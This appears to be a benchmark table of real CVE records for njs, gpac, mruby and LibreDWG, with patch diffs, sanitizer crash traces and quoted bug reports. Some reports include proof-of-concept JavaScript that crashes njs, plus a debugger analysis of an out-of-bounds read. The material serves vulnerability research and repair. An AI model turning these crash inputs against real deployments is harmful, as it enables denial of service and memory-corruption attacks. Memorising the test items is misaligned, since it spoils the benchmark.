instance_id string | description string | exploit(poc)_url string | patch_url string | weakness_enumeration string | github_repo string | base_commit string | developers_patch string | bug_report string | sanitizer_report string | sanitizer string | github_issue string | nvd_url string |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
njs.cve-2022-32414 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_vmcode_interpreter at src/njs_vmcode.c. | https://github.com/nginx/njs/issues/483 | https://github.com/nginx/njs/commit/31ed93a5623f24ca94e6d47e895ba735d9d97d46 | CWE-416 | nginx/njs | 31ed93a5623f24ca94e6d47e895ba735d9d97d46~1 | diff --git a/src/njs_promise.c b/src/njs_promise.c
index 52ae5b570..ea162d533 100644
--- a/src/njs_promise.c
+++ b/src/njs_promise.c
@@ -1369,6 +1369,10 @@ njs_promise_perform_all_handler(njs_vm_t *vm, njs_iterator_args_t *args,
njs_promise_all_context_t *context;
njs_promise_iterator_args_t *pargs;
+ if (!njs_is_valid(value)) {
+ value = njs_value_arg(&njs_value_undefined);
+ }
+
pargs = (njs_promise_iterator_args_t *) args;
capability = pargs->capability;
@@ -1459,6 +1463,10 @@ njs_promise_perform_all_settled_handler(njs_vm_t *vm, njs_iterator_args_t *args,
njs_promise_all_context_t *context;
njs_promise_iterator_args_t *pargs;
+ if (!njs_is_valid(value)) {
+ value = njs_value_arg(&njs_value_undefined);
+ }
+
pargs = (njs_promise_iterator_args_t *) args;
capability = pargs->capability;
@@ -1598,6 +1606,10 @@ njs_promise_perform_any_handler(njs_vm_t *vm, njs_iterator_args_t *args,
njs_promise_all_context_t *context;
njs_promise_iterator_args_t *pargs;
+ if (!njs_is_valid(value)) {
+ value = njs_value_arg(&njs_value_undefined);
+ }
+
pargs = (njs_promise_iterator_args_t *) args;
capability = pargs->capability;
@@ -1745,6 +1757,10 @@ njs_promise_perform_race_handler(njs_vm_t *vm, njs_iterator_args_t *args,
njs_promise_capability_t *capability;
njs_promise_iterator_args_t *pargs;
+ if (!njs_is_valid(value)) {
+ value = njs_value_arg(&njs_value_undefined);
+ }
+
pargs = (njs_promise_iterator_args_t *) args;
ret = njs_function_call(vm, pargs->function, pargs->constructor, value,
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index b28e34fef..def152aa8 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -21149,6 +21149,13 @@ static njs_unit_test_t njs_externals_test[] =
"}))"
".then(v => $r.retval(v))"),
njs_str("a:async:pr:async2:pr:r,b:async:pr:async2:pr:r,c:async:pr:async2:pr:r") },
+
+ { njs_str("async function f () {"
+ " var p = await Promise.race({length:1});"
+ " for (const v in 'test') { }"
+ "};"
+ "f().then(v => $r.retval('done'))"),
+ njs_str("done") },
};
| https://github.com/nginx/njs/issues/483 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==732128==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e3e53 bp 0x7ffe6e1f76b0 sp 0x7ffe6e1f6e80 T0)
==732128==The signal is caused by a READ memory access.
==732128==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4e3e53 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27
#1 0x6050bc in njs_await_fulfilled /home/q1iq/Documents/origin/njs_f65981b/src/njs_async.c:96:11
#2 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#3 0x53b029 in njs_function_frame_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:777:16
#4 0x53b029 in njs_function_call2 /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:600:11
#5 0x5f45b7 in njs_function_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.h:180:12
#6 0x5f45b7 in njs_promise_reaction_job /home/q1iq/Documents/origin/njs_f65981b/src/njs_promise.c:1171:15
#7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#8 0x4deb20 in njs_vm_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:440:12
#9 0x4deb20 in njs_vm_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:424:12
#10 0x4deb20 in njs_vm_handle_events /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:584:19
#11 0x4deb20 in njs_vm_run /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:544:12
#12 0x4c82d7 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:924:15
#13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#15 0x7f3e31cf00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 in njs_vmcode_interpreter
==732128==ABORTING | === https://github.com/nginx/njs/issues/483 ===
Title: SEGV njs_vmcode.c:802:27 in njs_vmcode_interpreter
---
Body:
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function main() {
const a4 = Promise["race"](Float64Array);
function a14(a15,a16) {
const a17 = async (a18,a19) => {
const a20 = await a15;
for (const a22 in "test") {
}
};
const a23 = a17();
}
const a24 = a14(a4);
}
main();
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732128==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004e3e53 bp 0x7ffe6e1f76b0 sp 0x7ffe6e1f6e80 T0)
==732128==The signal is caused by a READ memory access.
==732128==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4e3e53 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27
#1 0x6050bc in njs_await_fulfilled /home/q1iq/Documents/origin/njs_f65981b/src/njs_async.c:96:11
#2 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#3 0x53b029 in njs_function_frame_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:777:16
#4 0x53b029 in njs_function_call2 /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:600:11
#5 0x5f45b7 in njs_function_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.h:180:12
#6 0x5f45b7 in njs_promise_reaction_job /home/q1iq/Documents/origin/njs_f65981b/src/njs_promise.c:1171:15
#7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#8 0x4deb20 in njs_vm_invoke /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:440:12
#9 0x4deb20 in njs_vm_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:424:12
#10 0x4deb20 in njs_vm_handle_events /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:584:19
#11 0x4deb20 in njs_vm_run /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:544:12
#12 0x4c82d7 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:924:15
#13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#15 0x7f3e31cf00b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:802:27 in njs_vmcode_interpreter
==732128==ABORTING
```
### Credit
Q1IQ(@Q1IQ) | https://nvd.nist.gov/vuln/detail/CVE-2022-32414 | |
gpac.cve-2023-5586 | NULL Pointer Dereference in GitHub repository gpac/gpac prior to 2.3.0-DEV. | https://huntr.dev/bounties/d2a6ea71-3555-47a6-9b18-35455d103740 | https://github.com/gpac/gpac/commit/ca1b48f0abe71bf81a58995d7d75dc27f5a17ddc, https://huntr.dev/bounties/d2a6ea71-3555-47a6-9b18-35455d103740 | CWE-476 | gpac/gpac | ca1b48f0abe71bf81a58995d7d75dc27f5a17ddc~1 | diff --git a/src/filters/reframe_rawpcm.c b/src/filters/reframe_rawpcm.c
index 37decc00e6..406c6638de 100644
--- a/src/filters/reframe_rawpcm.c
+++ b/src/filters/reframe_rawpcm.c
@@ -360,6 +360,14 @@ GF_Err pcmreframe_process(GF_Filter *filter)
}
wav_ok = GF_FALSE;
}
+ if (!ctx->ch) {
+ GF_LOG(GF_LOG_ERROR, GF_LOG_MEDIA, ("[PCMReframe] Channel count %d invalid in wave\n", ctx->ch));
+ wav_ok = GF_FALSE;
+ }
+ if (!ctx->sr) {
+ GF_LOG(GF_LOG_ERROR, GF_LOG_MEDIA, ("[PCMReframe] Samplerate %d invalid in wave\n", ctx->sr));
+ wav_ok = GF_FALSE;
+ }
ctx->wav_hdr_size = (u32) gf_bs_get_position(bs);
| https://nvd.nist.gov/vuln/detail/CVE-2023-5586 | ||||
mruby.cve-2022-0240 | mruby is vulnerable to NULL Pointer Dereference | https://huntr.dev/bounties/5857eced-aad9-417d-864e-0bdf17226cbb | https://github.com/mruby/mruby/commit/31fa3304049fc406a201a72293cce140f0557dca | CWE-476 | mruby/mruby | 31fa3304049fc406a201a72293cce140f0557dca~1 | diff --git a/src/class.c b/src/class.c
index ec9c648e5d..8751dcaf05 100644
--- a/src/class.c
+++ b/src/class.c
@@ -357,6 +357,7 @@ prepare_singleton_class(mrb_state *mrb, struct RBasic *o)
{
struct RClass *sc, *c;
+ mrb_assert(o->c);
if (o->c->tt == MRB_TT_SCLASS) return;
sc = MRB_OBJ_ALLOC(mrb, MRB_TT_SCLASS, mrb->class_class);
sc->flags |= MRB_FL_CLASS_IS_INHERITED;
@@ -1682,6 +1683,7 @@ mrb_singleton_class_ptr(mrb_state *mrb, mrb_value v)
break;
}
obj = mrb_basic_ptr(v);
+ if (obj->c == NULL) return NULL;
prepare_singleton_class(mrb, obj);
return obj->c;
}
| https://nvd.nist.gov/vuln/detail/CVE-2022-0240 | ||||
njs.cve-2022-28049 | NGINX NJS 0.7.2 was discovered to contain a NULL pointer dereference via the component njs_vmcode_array at /src/njs_vmcode.c. | https://github.com/nginx/njs/issues/473 | https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab | CWE-476 | nginx/njs | f65981b0b8fcf02d69a40bc934803c25c9f607ab~1 | diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c
index ef0beb5e0..ec478659c 100644
--- a/src/njs_vmcode.c
+++ b/src/njs_vmcode.c
@@ -1055,14 +1055,16 @@ njs_vmcode_array(njs_vm_t *vm, u_char *pc)
if (code->ctor) {
/* Array of the form [,,,], [1,,]. */
- value = array->start;
- length = array->length;
-
- do {
- njs_set_invalid(value);
- value++;
- length--;
- } while (length != 0);
+ if (array->object.fast_array) {
+ value = array->start;
+ length = array->length;
+
+ do {
+ njs_set_invalid(value);
+ value++;
+ length--;
+ } while (length != 0);
+ }
} else {
/* Array of the form [], [,,1], [1,2,3]. */
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index dc18a13b1..ef5b3ca45 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -13154,6 +13154,10 @@ static njs_unit_test_t njs_test[] =
{ njs_str("(new Function('return 5' + '** 1'.repeat(2**13)))()"),
njs_str("5") },
+ { njs_str("var a = (new Function('return [' + ','.repeat(2**16) + ']'))();"
+ "njs.dump(a)"),
+ njs_str("[<65536 empty items>]") },
+
{ njs_str("(new Function('var a = 7; return a' + '= a'.repeat(2**13)))()"),
njs_str("7") },
| https://github.com/nginx/njs/issues/473 | INFO: Seed: 2125423890
INFO: Loaded 1 modules (53334 inline 8-bit counters): 53334 [0x95f010, 0x96c066),
INFO: Loaded 1 PC tables (53334 PCs): 53334 [0x96c068,0xa3c5c8),
/out/njs_process_script_fuzzer: Running 1 inputs 1 time(s) each.
Running: crashes/njs_njs_process_script_fuzzer/id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856
src/njs_vmcode.c:1049:17: runtime error: member access within null pointer of type 'njs_value_t' (aka 'union njs_value_s')
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/njs_vmcode.c:1049:17 in
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1324882==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005394e8 bp 0x7fffffffd4f0 sp 0x7fffffffd4c0 T0)
==1324882==The signal is caused by a WRITE memory access.
==1324882==Hint: address points to the zero page.
#0 0x5394e8 in njs_vmcode_array /src/njs/src/njs_vmcode.c:1049:17
#1 0x52b41d in njs_vmcode_interpreter /src/njs/src/njs_vmcode.c:580:23
#2 0x52472e in njs_vm_start /src/njs/src/njs_vm.c:487:11
#3 0x4ffe8e in njs_process_script (/out/njs_process_script_fuzzer+0x4ffe8e)
#4 0x4ff759 in LLVMFuzzerTestOneInput (/out/njs_process_script_fuzzer+0x4ff759)
#5 0x4e0b39 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4e0b39)
#6 0x4cba49 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4cba49)
#7 0x4d0952 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/out/njs_process_script_fuzzer+0x4d0952)
#8 0x4cb7d2 in main (/out/njs_process_script_fuzzer+0x4cb7d2)
#9 0x7ffff77050b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x42101d in _start (/out/njs_process_script_fuzzer+0x42101d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/njs/src/njs_vmcode.c:1049:17 in njs_vmcode_array
==1324882==ABORTING | === https://github.com/nginx/njs/issues/473 ===
Title: Null pointer dereference in src/njs_vmcode.c:1049:17
---
Body:
Hi,
this bug was found by fuzzing the current master branch, to reproduce build the OSS-Fuzz harness with ASan and UBSan.
The bug is a write to a NULL pointer, this is the sanitizer report:
```
INFO: Seed: 2125423890
INFO: Loaded 1 modules (53334 inline 8-bit counters): 53334 [0x95f010, 0x96c066),
INFO: Loaded 1 PC tables (53334 PCs): 53334 [0x96c068,0xa3c5c8),
/out/njs_process_script_fuzzer: Running 1 inputs 1 time(s) each.
Running: crashes/njs_njs_process_script_fuzzer/id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856
src/njs_vmcode.c:1049:17: runtime error: member access within null pointer of type 'njs_value_t' (aka 'union njs_value_s')
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/njs_vmcode.c:1049:17 in
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1324882==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000005394e8 bp 0x7fffffffd4f0 sp 0x7fffffffd4c0 T0)
==1324882==The signal is caused by a WRITE memory access.
==1324882==Hint: address points to the zero page.
#0 0x5394e8 in njs_vmcode_array /src/njs/src/njs_vmcode.c:1049:17
#1 0x52b41d in njs_vmcode_interpreter /src/njs/src/njs_vmcode.c:580:23
#2 0x52472e in njs_vm_start /src/njs/src/njs_vm.c:487:11
#3 0x4ffe8e in njs_process_script (/out/njs_process_script_fuzzer+0x4ffe8e)
#4 0x4ff759 in LLVMFuzzerTestOneInput (/out/njs_process_script_fuzzer+0x4ff759)
#5 0x4e0b39 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4e0b39)
#6 0x4cba49 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/out/njs_process_script_fuzzer+0x4cba49)
#7 0x4d0952 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/out/njs_process_script_fuzzer+0x4d0952)
#8 0x4cb7d2 in main (/out/njs_process_script_fuzzer+0x4cb7d2)
#9 0x7ffff77050b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x42101d in _start (/out/njs_process_script_fuzzer+0x42101d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/njs/src/njs_vmcode.c:1049:17 in njs_vmcode_array
==1324882==ABORTING
```
I attach the crashing testcase in a tar.gz, you can run it simply giving the testcase as first argument to the harness.
[id:000002,sig:06,src:001260+005121,time:65254059,op:splice,rep:2,trial:1496856.tar.gz](https://github.com/nginx/njs/files/8090085/id.000002.sig.06.src.001260%2B005121.time.65254059.op.splice.rep.2.trial.1496856.tar.gz) | https://nvd.nist.gov/vuln/detail/CVE-2022-28049 | |
njs.cve-2022-38890 | Nginx NJS v0.7.7 was discovered to contain a segmentation violation via njs_utf8_next at src/njs_utf8.h | https://github.com/nginx/njs/issues/569 | https://github.com/nginx/njs/commit/b9aea5854bcf6f2de8f7a7f1550874e392b94be2 | CWE-125 | nginx/njs | b9aea5854bcf6f2de8f7a7f1550874e392b94be2~1 | diff --git a/src/njs_string.c b/src/njs_string.c
index 83cede548..62bece0de 100644
--- a/src/njs_string.c
+++ b/src/njs_string.c
@@ -2849,6 +2849,7 @@ njs_string_trim(const njs_value_t *value, njs_string_prop_t *string,
for ( ;; ) {
if (start == prev) {
+ end = prev;
break;
}
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index 287ddda2d..a717f02a8 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -8450,6 +8450,14 @@ static njs_unit_test_t njs_test[] =
{ njs_str("' абв '.trimStart().trimEnd()"),
njs_str("абв") },
+ { njs_str("["
+ " String.fromCodePoint(0x2028),"
+ " String.fromCodePoint(0x20, 0x2028),"
+ " String.fromCodePoint(0x0009, 0x20, 0x2028),"
+ " String.fromCodePoint(0xFEFF),"
+ "].every(v => v.trimEnd() == '')"),
+ njs_str("true") },
+
{ njs_str("'\\u2029abc\\uFEFF\\u2028'.trim()"),
njs_str("abc") },
| https://github.com/nginx/njs/issues/569 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp 0x7fff88dc8f70 sp 0x7fff88dc8e40 T0)
==1550478==The signal is caused by a READ memory access.
#0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20
#1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17
#2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13
#3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11
#4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11
#6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11
#8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19
#9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11
#10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15
#11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs_utf8.h:54:20 in njs_utf8_next
==1550478==ABORTING | === https://github.com/nginx/njs/issues/569 ===
Title: Another way to trigger SEGV in njs_utf8_next cause oob read
---
Body:
the call stack is different with https://github.com/nginx/njs/issues/522
```
Environment
commit: 569292e0a74f2b1ec09566f3329f82bdd0d58e87
version: 0.7.7
Build :
./configure --cc=clang --address-sanitizer=YES
make
```
Poc
```js
function placeholder(){}
function main() {
var v2 = String.fromCharCode(-950135168);
var v3 = v2.trimEnd(String);
var v8 = 512 >>> "multiline";
var v9 = String.fromCharCode(788580.490736339);
var v10 = v9.padEnd(v8,v3);
var v11 = v10.lastIndexOf(788580.490736339);
}
main();
```
Asan
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp 0x7fff88dc8f70 sp 0x7fff88dc8e40 T0)
==1550478==The signal is caused by a READ memory access.
#0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20
#1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17
#2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13
#3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11
#4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11
#6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11
#8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19
#9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11
#10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15
#11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs_utf8.h:54:20 in njs_utf8_next
==1550478==ABORTING
```
Credit
ret2ddme
---
Comment #1 by ret2ddme:
## Analysis
The root case is
```c
const u_char *
njs_string_offset(const u_char *start, const u_char *end, size_t index)
{
uint32_t *map;
njs_uint_t skip;
if (index >= NJS_STRING_MAP_STRIDE) {
map = njs_string_map_start(end); [1]<--- create and init map
if (map[0] == 0) {
njs_string_offset_map_init(start, end - start); [2]<----- calculate some value and assign to map
}
start += map[index / NJS_STRING_MAP_STRIDE - 1]; [3]<------- add map with start, **access array without check index**
}
for (skip = index % NJS_STRING_MAP_STRIDE; skip != 0; skip--) {
start = njs_utf8_next(start, end); [4] <----- crash here
}
return start;
}
```
We can control `index` to be a large number just like 0x1f0 in `poc`. After `njs_string_map_start` the map is
```sh
pwndbg> p map
$37 = (uint32_t *) 0x617000002214
pwndbg> x/20gx 0x617000002214
0x617000002214: 0xbebebebe00000000 0xbebebebebebebebe
0x617000002224: 0xbebebebebebebebe 0xbebebebebebebebe
0x617000002234: 0xbebebebebebebebe 0xbebebebebebebebe
0x617000002244: 0xbebebebebebebebe 0x00000040bebebebe
0x617000002254: 0x0000004000006100 0x000004a000006100
0x617000002264: 0xbebe020100006190 0x0000200000000250
0x617000002274: 0x0000000000006170 0x0000000000000000
0x617000002284: 0x0000000000000000 0x0000000000000000
0x617000002294: 0x0000000000000000 0x0000000000000000
0x6170000022a4: 0x0000000000000000 0x0000000000000000
```
And after some process of `njs_string_offset_map_init` func, the map size is 5
```sh
pwndbg> p map
$36 = (uint32_t *) 0x617000002214
pwndbg> x/20gx 0x617000002214
0x617000002214: 0x000000c000000060 0x0000018000000120
0x617000002224: 0xbebebebe000001e0 0xbebebebebebebebe
0x617000002234: 0xbebebebebebebebe 0xbebebebebebebebe
0x617000002244: 0xbebebebebebebebe 0x00000040bebebebe
0x617000002254: 0x0000004000006100 0x000004a000006100
0x617000002264: 0xbebe020100006190 0x0000200000000250
0x617000002274: 0x0000000000006170 0x0000000000000000
0x617000002284: 0x0000000000000000 0x0000000000000000
0x617000002294: 0x0000000000000000 0x0000000000000000
0x6170000022a4: 0x0000000000000000 0x0000000000000000
```
`NJS_STRING_MAP_STRIDE` is 32, which set in `njs_string.h`. Then `index / NJS_STRING_MAP_STRIDE - 1` large than the size of `map` cause oob read.
In poc `map[index / NJS_STRING_MAP_STRIDE - 1]` get `0xbebebebe` then crash
---
Comment #2 by ret2ddme:
## Demo patch
```diff
diff --git a/src/njs_string.c b/src/njs_string.c
index 83cede5..8b3a31e 100644
--- a/src/njs_string.c
+++ b/src/njs_string.c
@@ -2307,7 +2307,10 @@ njs_string_prototype_last_index_of(njs_vm_t *vm, njs_value_t *args,
}
p = njs_string_offset(string.start, end, index);
-
+ if (p == (u_char*)NJS_ERROR) {
+ njs_error(vm, "index too large");
+ return NJS_ERROR;
+ }
for (; p >= string.start; p = njs_utf8_prev(p)) {
if ((p + s.size) <= end && memcmp(p, s.start, s.size) == 0) {
goto done;
@@ -2530,14 +2533,16 @@ njs_string_offset(const u_char *start, const u_char *end, size_t index)
{
uint32_t *map;
njs_uint_t skip;
-
+ njs_uint_t size = 0;
if (index >= NJS_STRING_MAP_STRIDE) {
map = njs_string_map_start(end);
if (map[0] == 0) {
- njs_string_offset_map_init(start, end - start);
+ size = njs_string_offset_map_init(start, end - start);
+ }
+ if((index / NJS_STRING_MAP_STRIDE) > size){
+ return (u_char*)NJS_ERROR;
}
-
start += map[index / NJS_STRING_MAP_STRIDE - 1];
}
@@ -2596,7 +2601,7 @@ njs_string_index(njs_string_prop_t *string, uint32_t offset)
}
-void
+njs_uint_t
njs_string_offset_map_init(const u_char *start, size_t size)
{
size_t offset;
@@ -2622,6 +2627,8 @@ njs_string_offset_map_init(const u_char *start, size_t size)
offset--;
} while (p < end);
+
+ return n;
}
diff --git a/src/njs_string.h b/src/njs_string.h
index 99f9d14..7e5eaab 100644
--- a/src/njs_string.h
+++ b/src/njs_string.h
@@ -244,7 +244,7 @@ njs_int_t njs_string_slice(njs_vm_t *vm, njs_value_t *dst,
const u_char *njs_string_offset(const u_char *start, const u_char *end,
size_t index);
uint32_t njs_string_index(njs_string_prop_t *string, uint32_t offset);
-void njs_string_offset_map_init(const u_char *start, size_t size);
+njs_uint_t njs_string_offset_map_init(const u_char *start, size_t size);
double njs_string_to_index(const njs_value_t *value);
const char *njs_string_to_c_string(njs_vm_t *vm, njs_value_t *value);
njs_int_t njs_string_encode_uri(njs_vm_t *vm, njs_value_t *args,
```
This fix is not standard, I just provides an idea.
| https://nvd.nist.gov/vuln/detail/CVE-2022-38890 | |
libredwg.cve-2020-21816 | A heab based buffer overflow issue exists in GNU LibreDWG 0.10.2641 via htmlescape ../../programs/escape.c:46. | https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890865 | https://github.com/LibreDWG/libredwg/commit/7e4c59b63d9c5b4b513cba1d0f33612042524563 | CWE-787 | LibreDWG/libredwg | 7b9cb829f93d1c1f67584345ed65ea830de8bdda | diff --git a/programs/escape.c b/programs/escape.c
index 8a907414e0..4d409ea43f 100644
--- a/programs/escape.c
+++ b/programs/escape.c
@@ -27,42 +27,74 @@ char * ATTRIBUTE_MALLOC
htmlescape (const char *restrict src, const int cp)
{
int len;
- char *dest, *d;
+ char *dest, *d, *end;
unsigned char *s;
if (!src)
return NULL;
len = strlen (src) + 10;
- d = malloc (len);
+ d = calloc (len, 1);
s = (unsigned char *)src;
dest = d;
- while (*s++)
+ end = dest + len;
+ while (*s)
{
const int off = d - dest;
- if (off >= len - 8)
+ if (end - d <= 8)
{
len += 10;
dest = realloc (dest, len);
d = dest + off;
+ *d = 0;
+ end = dest + len;
}
switch (*s)
{
- case '"': strcat (d, """); d += 6; break;
- case '\'': strcat (d, "'"); d += 5; break;
- case '`': strcat (d, "`"); d += 5; break;
- case '&': strcat (d, "&"); d += 5; break;
- case '<': strcat (d, "<"); d += 4; break;
- case '>': strcat (d, ">"); d += 4; break;
- case '{': strcat (d, "{"); d += 6; break;
- case '}': strcat (d, "}"); d += 6; break;
+ case '"':
+ strcat (d, """);
+ d += 6;
+ break;
+ case '\'':
+ strcat (d, "'");
+ d += 5;
+ break;
+ case '`':
+ strcat (d, "`");
+ d += 5;
+ break;
+ case '&':
+ strcat (d, "&");
+ d += 5;
+ break;
+ case '<':
+ strcat (d, "<");
+ d += 4;
+ break;
+ case '>':
+ strcat (d, ">");
+ d += 4;
+ break;
+ case '{':
+ strcat (d, "{");
+ d += 6;
+ break;
+ case '}':
+ strcat (d, "}");
+ d += 6;
+ break;
default:
if (*s >= 127) // maybe encodings, no utf8 (see htmlwescape)
{
sprintf (d, "&#x%X;", *s); // 4 + 4
d += strlen (d);
+ *d = 0;
}
else if (*s >= 20)
- *d++ = *s;
+ {
+ *d++ = *s;
+ *d = 0;
+ }
}
+ s++;
}
*d = 0;
return dest;
